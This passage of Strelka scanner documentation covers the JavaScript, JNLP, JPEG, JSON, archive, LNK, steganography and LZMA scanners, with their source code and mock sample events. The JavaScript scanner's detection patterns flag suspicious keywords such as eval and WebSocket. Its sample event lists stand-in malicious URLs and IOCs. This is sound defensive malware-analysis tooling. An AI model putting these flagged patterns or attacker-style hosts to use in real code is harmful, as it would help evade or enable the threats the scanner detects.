list(set(self.event[\"urls\"]))\n self.add_iocs(self.event[\"urls\"])\n except Exception as e:\n self.flags.append(f\"ioc_extraction_error: {str(e)[:50]}\")\nprocess_token(token, max_strings)","text":"Processes each token, categorizing and storing relevant data.
Source code instrelka/src/python/strelka/scanners/scan_javascript.py def process_token(self, token, max_strings):\n \"\"\"Processes each token, categorizing and storing relevant data.\"\"\"\n self.event[\"tokens\"].add(token.type)\n\n if token.type == \"String\":\n stripped_val = token.value.strip(\"\\\"'\")\n self.event[\"strings\"].add(stripped_val)\n self.extract_urls(stripped_val, max_strings)\n elif token.type == \"Keyword\":\n self.event[\"keywords\"].add(token.value)\n elif token.type == \"Identifier\":\n if token.value in self.suspicious_keywords:\n self.event[\"suspicious_keywords\"].add(token.value)\n self.event[\"identifiers\"].add(token.value)\n elif token.type == \"RegularExpression\":\n self.event[\"regular_expressions\"].add(token.value)\nextract_urls(text, max_strings)","text":"Extracts URLs from the provided text using regex matching.
Source code instrelka/src/python/strelka/scanners/scan_javascript.py def extract_urls(self, text, max_strings):\n \"\"\"Extracts URLs from the provided text using regex matching.\"\"\"\n urls = self.url_regex.findall(text)\n for url in urls:\n self.event[\"urls\"].add(url)\n if len(self.event[\"urls\"]) >= max_strings:\n break\ntrim_event_data(max_strings)","text":"Trims the event data to the maximum number of strings specified.
Source code instrelka/src/python/strelka/scanners/scan_javascript.py def trim_event_data(self, max_strings):\n \"\"\"Trims the event data to the maximum number of strings specified.\"\"\"\n for key in [\n \"tokens\",\n \"keywords\",\n \"strings\",\n \"identifiers\",\n \"regular_expressions\",\n \"urls\",\n \"suspicious_keywords\",\n ]:\n self.event[key] = list(self.event[key])[:max_strings]\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanJavascript.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludejavascript_file text/javascript"},{"location":"Scanners/ScanJavascript.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typebeautified bool elapsed str flags list identifiers str iocs str keywords str regular_expressions str script_length_bytes int strings str suspicious_keywords str tokens str urls str"},{"location":"Scanners/ScanJavascript.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"tokens\": unordered(\n [\n \"LineComment\",\n \"String\",\n \"Identifier\",\n \"Punctuator\",\n \"RegularExpression\",\n \"Numeric\",\n \"BlockComment\",\n \"Keyword\",\n ]\n ),\n \"keywords\": unordered(\n [\n \"var\",\n \"in\",\n \"this\",\n \"typeof\",\n \"return\",\n \"function\",\n \"if\",\n \"else\",\n \"throw\",\n \"new\",\n \"for\",\n ]\n ),\n \"strings\": unordered(\n [\n \"\",\n \"ws\",\n \"open\",\n \"string\",\n \"ftp://suspicious-ftp-server.org\",\n \"Checking URL: \",\n \"Fetching data from: \",\n \"base64\",\n \"path\",\n \".\",\n \"-\",\n \" (\",\n \"fs\",\n \"utf8\",\n \"package.json\",\n \"https://another-example-bad-site.net\",\n \"Found unknown type of partial \",\n \"use strict\",\n \") in Handlebars partial Array => \",\n \"function\",\n \"Could not find partial with name \",\n \"http://example-malicious-site.com\",\n \"http://example-malicious-site.com/data\",\n \"Connection established\",\n ]\n ),\n \"identifiers\": unordered(\n [\n \"compile\",\n \"Handlebars\",\n \"send\",\n \"urls\",\n \"partials\",\n \"JSON\",\n \"pkg\",\n \"open\",\n \"eval\",\n \"console\",\n \"params\",\n \"cwd\",\n \"register\",\n \"key\",\n \"replace\",\n \"suspiciousUrl\",\n \"toLowerCase\",\n \"hasOwnProperty\",\n \"WebSocket\",\n \"concat\",\n \"arguments\",\n \"ws\",\n \"partial\",\n \"Buffer\",\n \"helpers\",\n \"btoa\",\n \"dynamicEval\",\n \"opt\",\n \"slugify\",\n \"str\",\n \"jsonStringify\",\n \"process\",\n \"url\",\n \"stringify\",\n \"i\",\n \"fetchDataFromUrl\",\n \"context\",\n \"log\",\n \"SafeString\",\n \"on\",\n \"checkMultipleUrls\",\n \"code\",\n \"helper\",\n \"escape\",\n \"a\",\n \"Utils\",\n \"name\",\n \"atob\",\n \"fs\",\n \"obj\",\n \"join\",\n \"path\",\n \"module\",\n \"forEach\",\n \"length\",\n \"establishWebSocket\",\n \"arr\",\n \"b\",\n \"require\",\n \"readFileSync\",\n \"toString\",\n \"parse\",\n \"exports\",\n \"escapeExpression\",\n \"registerHelper\",\n ]\n ),\n \"regular_expressions\": unordered([\"/ +/g\", \"/[^\\\\w ]+/g\"]),\n \"suspicious_keywords\": unordered([\"WebSocket\", \"eval\"]),\n \"urls\": unordered(\n [\n \"https://another-example-bad-site.net\",\n \"http://example-malicious-site.com\",\n \"ftp://suspicious-ftp-server.org\",\n \"http://example-malicious-site.com/data\",\n ]\n ),\n \"beautified\": True,\n \"script_length_bytes\": 3127,\n \"iocs\": unordered(\n [\n {\n \"ioc\": \"suspicious-ftp-server.org\",\n \"ioc_type\": \"domain\",\n \"scanner\": \"ScanJavascript\",\n },\n {\n \"ioc\": \"ftp://suspicious-ftp-server.org\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanJavascript\",\n },\n {\n \"ioc\": \"example-malicious-site.com\",\n \"ioc_type\": \"domain\",\n \"scanner\": \"ScanJavascript\",\n },\n {\n \"ioc\": \"http://example-malicious-site.com\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanJavascript\",\n },\n {\n \"ioc\": \"http://example-malicious-site.com/data\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanJavascript\",\n },\n {\n \"ioc\": \"another-example-bad-site.net\",\n \"ioc_type\": \"domain\",\n \"scanner\": \"ScanJavascript\",\n },\n {\n \"ioc\": \"https://another-example-bad-site.net\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanJavascript\",\n },\n ]\n ),\n }\nAnalyzes Java Network Launch Protocol (JNLP) files.
JNLP files, used by Java Web Start technology, can launch Java applications from a web browser. While facilitating legitimate applications, they can also be abused for malicious purposes such as distributing malware or executing phishing attacks.
Scanner Type: Collection
Attributes:
Name Type Descriptionevent dict Stores extracted data during the scan for further analysis.
Detection Use Casesstrelka/src/python/strelka/scanners/scan_jnlp.py class ScanJnlp(strelka.Scanner):\n \"\"\"\n Analyzes Java Network Launch Protocol (JNLP) files.\n\n JNLP files, used by Java Web Start technology, can launch Java applications from a web browser. While facilitating\n legitimate applications, they can also be abused for malicious purposes such as distributing malware or executing\n phishing attacks.\n\n Scanner Type: Collection\n\n Attributes:\n event (dict): Stores extracted data during the scan for further analysis.\n\n Detection Use Cases:\n - **External Resource Reference**\n - Identify JNLP files that reference external HTTP resources, particularly those not associated with trusted\n domains.\n\n Known Limitations:\n - **Java Dependence**\n - Effectiveness is contingent on the presence and version of Java installed on the target system.\n\n Todo:\n - Improve detection of obfuscated or sophisticated threats within JNLP files.\n - Extract any other potential JNLP content / headers.\n\n References:\n - **File Structure**\n - https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlpFileSyntax.html\n - **Malicious Usage**\n - https://www.forcepoint.com/blog/x-labs/java-network-launch-protocol\n - https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Scans the given data for JNLP-related information.\n\n Extracts 'codebase' and 'href' attributes from JNLP and JAR tags to detect potential malicious activities.\n\n Args:\n data (bytes): Data of the file being scanned.\n file (File): File object being scanned.\n options (dict): Options for the scanner.\n expire_at (datetime): Expiration time of the scan result.\n \"\"\"\n # Initialize variables for 'codebase' and 'href' attributes\n codebase = \"\"\n href = \"\"\n\n # Parse the XML to find 'jnlp' and 'jar' elements\n for elem, _ in iterate_xml_elements(data, tags=[\"jnlp\", \"jar\"]):\n if elem.tag == \"jnlp\":\n codebase = elem.get(\"codebase\", \"\").rstrip(\"/\")\n elif elem.tag == \"jar\":\n href = elem.get(\"href\", \"\").lstrip(\"/\")\n\n # If both 'codebase' and 'href' are found, construct the full resource URL\n if codebase and href:\n self.event[\"resource\"] = f\"{codebase}/{href}\"\nscan(data, file, options, expire_at)","text":"Scans the given data for JNLP-related information.
Extracts 'codebase' and 'href' attributes from JNLP and JAR tags to detect potential malicious activities.
Parameters:
Name Type Description Defaultdata bytes Data of the file being scanned.
requiredfile File File object being scanned.
requiredoptions dict Options for the scanner.
requiredexpire_at datetime Expiration time of the scan result.
required Source code instrelka/src/python/strelka/scanners/scan_jnlp.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Scans the given data for JNLP-related information.\n\n Extracts 'codebase' and 'href' attributes from JNLP and JAR tags to detect potential malicious activities.\n\n Args:\n data (bytes): Data of the file being scanned.\n file (File): File object being scanned.\n options (dict): Options for the scanner.\n expire_at (datetime): Expiration time of the scan result.\n \"\"\"\n # Initialize variables for 'codebase' and 'href' attributes\n codebase = \"\"\n href = \"\"\n\n # Parse the XML to find 'jnlp' and 'jar' elements\n for elem, _ in iterate_xml_elements(data, tags=[\"jnlp\", \"jar\"]):\n if elem.tag == \"jnlp\":\n codebase = elem.get(\"codebase\", \"\").rstrip(\"/\")\n elif elem.tag == \"jar\":\n href = elem.get(\"href\", \"\").lstrip(\"/\")\n\n # If both 'codebase' and 'href' are found, construct the full resource URL\n if codebase and href:\n self.event[\"resource\"] = f\"{codebase}/{href}\"\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanJnlp.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludejnlp_file"},{"location":"Scanners/ScanJnlp.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list resource str"},{"location":"Scanners/ScanJnlp.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"resource\": \"https://example.com/uplib.jar\",\n }\nExtracts data appended to JPEG files.
This scanner extracts data that is inserted past the JFIF EOI marker.
Source code instrelka/src/python/strelka/scanners/scan_jpeg.py class ScanJpeg(strelka.Scanner):\n \"\"\"Extracts data appended to JPEG files.\n\n This scanner extracts data that is inserted past the JFIF EOI marker.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n offset = 0\n\n # Skip check for length with these markers\n markers_zero_length = [\n b\"\\xff\\xd0\",\n b\"\\xff\\xd1\",\n b\"\\xff\\xd2\",\n b\"\\xff\\xd3\",\n b\"\\xff\\xd4\",\n b\"\\xff\\xd5\",\n b\"\\xff\\xd6\",\n b\"\\xff\\xd7\",\n b\"\\xff\\xd8\",\n b\"\\xff\\x01\",\n ]\n\n # Image must start with SOI\n try:\n if not data[offset:].startswith(b\"\\xff\\xd8\"):\n self.flags.append(\"corrupt_jpeg_data_no_soi\")\n return\n except IndexError:\n self.flags.append(\"Error accessing data[offset:]\")\n return\n\n # Skip SOI\n offset += 2\n while True:\n marker = data[offset : offset + 2]\n\n # Marker must start with 0xff\n if marker[0] != 0xFF:\n self.flags.append(\"corrupt_jpeg_data_misaligned_marker\")\n break\n\n if marker in markers_zero_length:\n offset += 2\n continue\n # Start scan data (SOS)\n elif marker == b\"\\xff\\xda\":\n offset += 2\n while True:\n # Fast forward until we find a marker that's not FF00\n if data[offset] == 0xFF and data[offset + 1] != 0x00:\n break\n offset += 1\n continue\n # EOI marker\n elif marker == b\"\\xff\\xd9\":\n offset += 2\n break\n else:\n marker_length = struct.unpack(\">H\", data[offset + 2 : offset + 4])[\n 0\n ]\n offset += 2\n offset += marker_length\n\n # If the end of the image is reached with no more data, return\n if offset >= len(data):\n self.flags.append(\"no_trailer\")\n return\n\n if trailer_data := data[offset:]:\n self.event[\"trailer_index\"] = offset\n\n # Send extracted file back to Strelka\n self.emit_file(trailer_data)\n except Exception:\n self.flags.append(\"jpeg_general_parsing_error\")\n return\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanJpeg.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / ExcludeScanTranscode image/jpeg jpeg_file"},{"location":"Scanners/ScanJpeg.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list trailer_index int"},{"location":"Scanners/ScanJpeg.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"no_trailer\"]}\nCollects keys from JSON files.
Source code instrelka/src/python/strelka/scanners/scan_json.py class ScanJson(strelka.Scanner):\n \"\"\"Collects keys from JSON files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event.setdefault(\"keys\", [])\n\n try:\n self._get_keys(self, json.loads(data.decode()))\n\n except UnicodeDecodeError:\n self.flags.append(\"unicode_decode_error\")\n except json.decoder.JSONDecodeError:\n self.flags.append(\"json_decode_error\")\n\n @staticmethod\n def _get_keys(self, variable):\n \"\"\"Recursively parses JSON.\n\n Args:\n variable: Variable to recursively parse.\n \"\"\"\n if isinstance(variable, dict):\n for key, value in variable.items():\n if key not in self.event[\"keys\"]:\n self.event[\"keys\"].append(key)\n self._get_keys(self, value)\n elif isinstance(variable, list):\n for v in variable:\n self._get_keys(self, v)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanJson.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/json json_file"},{"location":"Scanners/ScanJson.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list keys list"},{"location":"Scanners/ScanJson.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"keys\": [\n \"stuck\",\n \"hurry\",\n \"whale\",\n \"fierce\",\n \"several\",\n \"will\",\n \"behavior\",\n \"new\",\n \"coach\",\n \"step\",\n \"west\",\n \"powerful\",\n ],\n }\nExtracts files from libarchive-compatible archives.
Optionslimit: Maximum number of files to extract. Defaults to 1000.
Source code instrelka/src/python/strelka/scanners/scan_libarchive.py class ScanLibarchive(strelka.Scanner):\n \"\"\"Extracts files from libarchive-compatible archives.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n\n try:\n with libarchive.memory_reader(data) as archive:\n # Using basically the same logic to count files\n # However, it is more technically correct to count\n # the files before trying to extract them in case an error occurs\n for entry in archive:\n if entry.isfile:\n self.event[\"total\"][\"files\"] += 1\n\n with libarchive.memory_reader(data) as archive:\n for entry in archive:\n if entry.isfile:\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n continue\n\n extracted_data = b\"\"\n for block in entry.get_blocks():\n extracted_data += block\n\n # Send extracted file back to Strelka\n self.emit_file(extracted_data, name=entry.pathname)\n\n self.event[\"total\"][\"extracted\"] += 1\n\n except libarchive.ArchiveError:\n self.flags.append(\"libarchive_archive_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanLibarchive.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/vnd.ms-cab-compressed application/x-cpio application/x-debian-package application/x-xar cab_file cpio_file debian_package_file xar_file"},{"location":"Scanners/ScanLibarchive.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list total dict total.extracted int total.files int"},{"location":"Scanners/ScanLibarchive.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 4, \"extracted\": 4},\n }\nCollects metadata from LNK files.
Source code instrelka/src/python/strelka/scanners/scan_lnk.py class ScanLnk(strelka.Scanner):\n \"\"\"Collects metadata from LNK files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n header = ShellLinkHeader.parse(data)\n offset = header.HeaderSize\n\n try:\n if header.LinkFlags.HasLinkTargetIDList:\n linktargetidlist = LinkTargetIDList.parse(data[offset:])\n offset += linktargetidlist.IDListSize + 2\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse LinkTargetIDList\")\n\n try:\n if header.LinkFlags.HasLinkInfo:\n linkinfo = LinkInfo.parse(data[offset:])\n if linkinfo.VolumeID.DriveType:\n self.event[\"drive_type\"] = linkinfo.VolumeID.DriveType\n if linkinfo.VolumeID.DriveSerialNumber:\n self.event[\"drive_serial_number\"] = \"{0:x}\".format(\n linkinfo.VolumeID.DriveSerialNumber\n )\n if linkinfo.VolumeID.Data:\n self.event[\"volume_label\"] = linkinfo.VolumeID.Data\n if linkinfo.LocalBasePath:\n self.event[\"local_base_path\"] = linkinfo.LocalBasePath\n if linkinfo.CommonNetworkRelativeLink:\n commonnetworkrelativelink = CommonNetworkRelativeLink.parse(\n data[offset + linkinfo.CommonNetworkRelativeLinkOffset :]\n )\n self.event[\"net_name\"] = commonnetworkrelativelink.NetName\n offset += linkinfo.LinkInfoSize\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse LinkInfo\")\n\n StringData = \"StringData\" / Struct(\n \"CountCharacters\" / Int16ul,\n \"String\"\n / IfThenElse(\n header.LinkFlags.IsUnicode,\n StringEncoded(Bytes(this.CountCharacters * 2), \"utf16\"),\n StringEncoded(Bytes(this.CountCharacters), \"utf8\"),\n ),\n )\n\n try:\n if header.LinkFlags.HasName:\n NAME_STRING = StringData.parse(data[offset:])\n self.event[\"name_string\"] = NAME_STRING.String\n if header.LinkFlags.IsUnicode:\n offset += len(NAME_STRING.String) * 2 + 2\n else:\n offset += len(NAME_STRING.String) + 2\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse NAME_STRING\")\n\n try:\n if header.LinkFlags.HasRelativePath:\n RELATIVE_PATH = StringData.parse(data[offset:])\n self.event[\"relative_path\"] = RELATIVE_PATH.String\n if header.LinkFlags.IsUnicode:\n offset += len(RELATIVE_PATH.String) * 2 + 2\n else:\n offset += len(RELATIVE_PATH.String) + 2\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse RELATIVE_PATH\")\n\n try:\n if header.LinkFlags.HasWorkingDir:\n WORKING_DIR = StringData.parse(data[offset:])\n self.event[\"working_dir\"] = WORKING_DIR.String\n if header.LinkFlags.IsUnicode:\n offset += len(WORKING_DIR.String) * 2 + 2\n else:\n offset += len(WORKING_DIR.String) + 2\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse WORKING_DIR\")\n\n try:\n if header.LinkFlags.HasArguments:\n COMMAND_LINE_ARGUMENTS = StringData.parse(data[offset:])\n self.event[\"command_line_args\"] = COMMAND_LINE_ARGUMENTS.String\n if header.LinkFlags.IsUnicode:\n offset += len(COMMAND_LINE_ARGUMENTS.String) * 2 + 2\n else:\n offset += len(COMMAND_LINE_ARGUMENTS.String) + 2\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse COMMAND_LINE_ARGUMENTS\")\n\n try:\n if header.LinkFlags.HasIconLocation:\n ICON_LOCATION = StringData.parse(data[offset:])\n self.event[\"icon_location\"] = ICON_LOCATION.String\n if header.LinkFlags.IsUnicode:\n offset += len(ICON_LOCATION.String) * 2 + 2\n else:\n offset += len(ICON_LOCATION.String) + 2\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse ICON_LOCATION\")\n\n try:\n blocksize = True\n while blocksize:\n try:\n extradata = ExtraData.parse(data[offset:])\n blocksize = extradata.BlockSize\n except strelka.ScannerTimeout:\n raise\n except Exception:\n break\n\n try:\n if extradata.IconEnvironmentDataBlock:\n self.event[\"icon_target\"] = (\n extradata.IconEnvironmentDataBlock.TargetAnsi\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse IconEnvironmentDataBlock\")\n\n if extradata.TrackerDataBlock:\n self.event[\"machine_id\"] = (\n extradata.TrackerDataBlock.MachineID.strip(b\"\\x00\")\n )\n self.event[\"mac\"] = str(\n uuid.UUID(bytes_le=extradata.TrackerDataBlock.Droid[16:])\n ).split(\"-\")[-1]\n\n offset += extradata.BlockSize\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"Unable to parse ExtraDataBlock\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanLnk.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludelnk_file"},{"location":"Scanners/ScanLnk.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecommand_line_args str drive_serial_number str drive_type str elapsed str flags list local_base_path str mac str machine_id bytes name_string str relative_path str volume_label str working_dir str"},{"location":"Scanners/ScanLnk.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"drive_type\": \"DRIVE_FIXED\",\n \"drive_serial_number\": \"c2922660\",\n \"volume_label\": \"Local Disk\",\n \"local_base_path\": \"C:\\\\Windows\\\\System32\\\\calc.exe\",\n \"name_string\": \"Test Comment\",\n \"relative_path\": \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\calc.exe\",\n \"working_dir\": \"C:\\\\Windows\\\\System32\",\n \"command_line_args\": \"-testCommands\",\n \"machine_id\": b\"laptop-c77ajnj7\",\n \"mac\": \"38fc989e18fc\",\n }\nThis scanner checks if there is any hidden strings at the end of each RGB value
Source code instrelka/src/python/strelka/scanners/scan_lsb.py class ScanLsb(strelka.Scanner):\n \"\"\"This scanner checks if there is any hidden strings at the end of each RGB value\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n image = np.frombuffer(data, np.uint8)\n image = cv2.imdecode(image, cv2.IMREAD_COLOR)\n bits = self._get_bits(image)\n bytes_ = self._get_bytes(bits)\n chars = []\n chars.append(self._convert_bytes_to_text(bytes_))\n flag = \"\".join(chars).encode(\"ascii\", \"ignore\")\n self.event[\"lsb\"] = len(flag) > 1\n except AttributeError:\n self.flags.append(\"bits_image_error\")\n except cv2.error:\n self.flags.append(\"cv2_image_error\")\n\n def _get_bits(self, img):\n h, w, t = img.shape\n bits = \"\"\n\n for x in range(0, h):\n for y in range(0, w):\n lst = img[x, y]\n for k in lst:\n bits += bin(k)[-1]\n return bits\n\n def _convert_bytes_to_text(self, bytes_):\n asc = \"\"\n for byte_ in bytes_:\n asc += chr(int(byte_, 2))\n return asc\n\n def _get_bytes(self, bits):\n bytes_ = []\n for i in range(int(len(bits) / 8)):\n bytes_.append(bits[i * 8 : (i + 1) * 8])\n # print(bytes_)\n return bytes_\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanLsb.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / ExcludeScanTranscode bmp_file image/jpeg image/png image/webp image/x-ms-bmp jpeg_file png_file"},{"location":"Scanners/ScanLsb.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanLsb.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner lsb
"},{"location":"Scanners/ScanLzma.html","title":"ScanLzma","text":"Decompresses LZMA files.
Source code instrelka/src/python/strelka/scanners/scan_lzma.py class ScanLzma(strelka.Scanner):\n \"\"\"Decompresses LZMA files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n with io.BytesIO(data) as lzma_io:\n with lzma.LZMAFile(filename=lzma_io) as lzma_obj:\n try:\n decompressed = lzma_obj.read()\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n\n except EOFError:\n self.flags.append(\"eof_error\")\n\n except lzma.LZMAError:\n self.flags.append(\"lzma_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanLzma.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
